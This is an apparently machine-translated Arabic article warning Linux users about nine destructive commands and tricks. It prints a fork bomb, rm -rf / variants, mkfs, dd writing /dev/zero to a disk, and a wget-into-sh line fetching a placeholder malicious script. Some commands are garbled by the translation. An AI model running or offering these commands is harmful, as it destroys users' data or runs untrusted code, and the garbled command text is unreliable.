9 أوامر لينكس ورموز توخي الحذر من
أوامر Linux shell / الطرفية قوية جدًا وفقط أمر بسيط يمكن أن يؤدي إلى حذف مجلد أو ملفات أو مجلد جذر ، إلخ.
في بعض الحالات ، لن يطلب منك Linux التأكيد ، بل سينفذ الأمر فورًا مما يؤدي إلى ذلك تفقد البيانات والمعلومات القيمة المخزنة في هذه الملفات والمجلدات.
من الشائع أن ينشر الأشخاص محتوى على الويب التوصية بمستخدمي Linux الجدد لتنفيذ هذه الأوامر. قد يبدو هذا بمثابة مزحة للشخص الذي نشر المحتوى ، ولكن الأمر ليس من قبيل الضحك بالنسبة للشخص في الطرف الآخر.
لقد جمعنا بعض أوامر Linux الضارة جدًا لنظامك لمساعدتك في تجنبها. ضع في اعتبارك أنها خطيرة بالفعل و يمكن حتى أن تتغير في مجموعة متنوعة من الطرق لإنتاج أوامر جديدة لإلحاق المزيد من الضرر.
الشيء المهم هو أن نلاحظ ذلك بعض هذه الأوامر تكون خطيرة فقط إذا كانت مسبوقة بـ sudo على Ubuntu. أثناء عمليات توزيعات Linux الأخرى ، سيكون تنفيذ هذه الأوامر أمرًا خطيرًا في معظم هذه الأوامر.
نلقي نظرة على 9 أوامر ورموز يجب تجنب تنفيذها.
1. Linux Fork Bomb Command
: () : |: & ؛:
المعروف أيضا باسم قنبلة شوكة هو هجوم رفض الخدمة ضد نظام Linux. : () : |: & ؛:
هي وظيفة باش. بمجرد تنفيذها, يعيد نفسه عدة مرات حتى يتجمد النظام.
يمكنك فقط التخلص منه بإعادة تشغيل النظام الخاص بك. لذا كن حذرًا عند تنفيذ هذا الأمر على نظام Linux Linux الخاص بك.
2. المجلد بالسيارات / ديف / القيادة فارغة
مجلد mv / dev / null
هو أمر محفوف بالمخاطر آخر. ديف / لاغية
أو جهاز فارغ
هو ملف جهاز يتجاهل جميع البيانات المكتوبة عليه ولكنه يشير إلى أن عملية الكتابة قد تم تنفيذها بنجاح. ومن المعروف أيضا باسم خالفت قليلا أو الثقب الأسود.
3. rm -rf القيادة
rm -rf
القيادة هي وسيلة سريعة ل حذف مجلد ومحتواه في نظام التشغيل Linux. إذا كنت لا تعرف كيفية استخدامها بشكل صحيح ، فقد يصبح ذلك خطيرًا للغاية على النظام. المجموعات الأكثر شيوعًا والخيارات المستخدمة مع الأمر rm-rf مذكورة أدناه:
جمهورية مقدونيا
يستخدم الأمر لحذف الملفات في نظام Linux.rm -f
أمر يزيل الملفات للقراءة فقط في مجلد دون المطالبة.rm -r
أمر يحذف محتوى مجلد بشكل متكرر.rm -d
يتم استخدام الأمر لإزالة دليل فارغ ولكنه سيرفض إزالة الدليل إذا لم يكن فارغًا.rm -rf /
يتم استخدام الأمر للحذف القسري (يحذفه حتى لو كان محمي ضد الكتابة) لجميع المحتويات الموجودة في الدليل الجذر والمجلدات الفرعية.rm -rf *
يتم استخدام الأمر للحذف الإجباري لكل المحتويات الموجودة في الدليل الحالي (الدليل الذي تعمل فيه حاليًا) والمجلدات الفرعية.rm -rf.
يستخدم الأمر لحذف القسري لجميع المحتوى في المجلد الحالي والمجلدات الفرعية. الr-r. [^.] *
ويمكن أيضا أن تستخدم القيادة.جمهورية مقدونيا
يتم استخدام الأمر لإزالة الملفات والمجلدات ولكن ستظهر مطالبة قبل الإزالة.
4. قيادة mkfs
mkfs
يمكن أن يكون أمرًا خطيرًا لنظامك الذي يستند إلى نظام Linux إذا كنت لا تعرف الغرض منه. أي شيء مكتوب بعد mkfs سيتم تنسيقه واستبداله بنظام ملفات Linux فارغ.
ستقوم جميع الأوامر المذكورة أدناه بتهيئة القرص الصلب وتتطلب حقوق المسؤول:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
الامر mkfs.cramfs
ستفعل نفس الشيء كما هو مذكور أعلاه لكنها لا تتطلب حقوق المسؤول للتنفيذ.
5. القطران قنبلة
ال قطران
يستخدم الأمر لدمج عدة ملفات في ملف واحد (ملف مؤرشفة) في .قطران شكل. يمكن إنشاء قنبلة أرشيف الشريط (Tar) باستخدام هذا الأمر.
أنه ملف أرشيف ينفجر في آلاف أو ملايين الملفات بأسماء مشابهة للملفات الموجودة في الدليل الحالي بدلا من الدخول في دليل جديد.
يمكنك تجنب الوقوع ضحية قنبلة من قبل بانتظام إنشاء دليل وقائي جديد كلما تلقيت ملف القطران ثم نقل ملف القطران المستلم إلى هذا الدليل قبل تغييره.
إذا كان ملف tar عبارة عن قنبلة tar بالفعل ، يمكنك ببساطة إزالة الدليل الذي تم إنشاؤه حديثًا للتخلص منه. هناك طريقة أخرى لتجنب انفجار قنبلة القطران ال -تي
خيار لسرد كل محتوى ملف القطران لإعطائك فكرة عن نوع المحتوى الموجود في ملف tar.
6. الأمر د
ال دد
يستخدم الأمر ل نسخ وتحويل أقسام القرص الصلب. ومع ذلك ، يمكن أن يكون ضارًا إذا حددت الوجهة الخطأ.
قد يكون الأمر أحد هذه العناصر:
dd إذا = / dev / hda of = / dev / hdb
dd إذا = / dev / hda of = / dev / sdb
يوم إذا = شيء من = / ديف / hda
يوم إذا = شيء من = / ديف / حزب العمل الديمقراطي
سيؤدي الأمر التالي إلى التخلص من محرك الأقراص الثابت الأساسي بأكمله: يوم إذا = / ديف / صفر من = / ديف / كان
7. شل رمز البرنامج النصي
شخص ما قد ينقلك مما يتيح لك الرابط إلى سيناريو شل وتؤيد لك لتنفيذه وتنفيذه. قد يحتوي البرنامج النصي على بعض التعليمات البرمجية الضارة أو الخطرة في الداخل. ال شكل القيادة قد يبدو مثل هذا: wget http: // some_malicious_source -O- | ش
. ال مجلد مشترك
سيتم تنزيل البرنامج النصي بينما يقوم sh بتنزيل تنفيذ البرنامج النصي.
8. شفرة المصدر الخبيثة
شخص ما يمنحك الكود المصدري ويطلب منك تجميعه. الرمز قد يبدو رمزًا عاديًا ولكن في الحقيقة يتم إخفاء بعض التعليمات البرمجية الضارة في التعليمات البرمجية المصدر الكبيرة وقد يسبب ضررا للنظام الخاص بك. لتجنب الوقوع ضحية لهذا النوع من الهجوم, فقط قبول وتجميع شفرة المصدر الخاصة بك من مصادر موثوق بها.
9. قنبلة الضغط
لقد تلقيت ملفًا مضغوطًا ويُطلب منك استخراج هذا الملف الذي يبدو أنه صغير جدًا ولكن قد يكون حجمه كيلوبايت. في الواقع, يحتوي هذا الملف المضغوط صغير الحجم على بيانات مضغوطة للغاية.
بمجرد إلغاء ضغط الملف ، يتم استخراج مئات غيغابايت من البيانات التي يمكن أن تملأ القرص الصلب الخاص بك لخفض أداء نظامك. لتجنب هذا الموقف ، تذكر دائمًا قبول البيانات من مصادر موثوق بها.